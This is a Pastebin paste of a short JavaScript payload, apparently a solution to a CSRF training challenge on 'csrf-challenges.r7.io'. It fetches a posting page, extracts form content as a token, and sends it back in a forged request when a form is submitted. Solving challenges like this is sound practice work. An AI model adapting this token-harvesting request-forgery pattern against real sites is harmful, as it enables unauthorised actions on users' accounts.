Advertisement
sebet86

Untitled

Apr 27th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.66 KB | None | 0 0
  1. <script src="http://code.jquery.com/jquery-3.2.1.js"integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE="crossorigin="anonymous"></script>
  2. <script>
  3. var success="";
  4. $.get("http://csrf-challenges.r7.io/make_post/4" ,function(response) {
  5. success = $($.parseHTML(response)).filter("#post_form");
  6. },'html');
  7. function run() {
  8. i=new Image();
  9. i.src='http://csrf-challenges.r7.io/make_post/4?csrf='+success.text();
  10. alert(success.text());
  11. };
  12. target = document.getElementById("post_form");
  13. target.addEventListener('submit', run);
  14. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement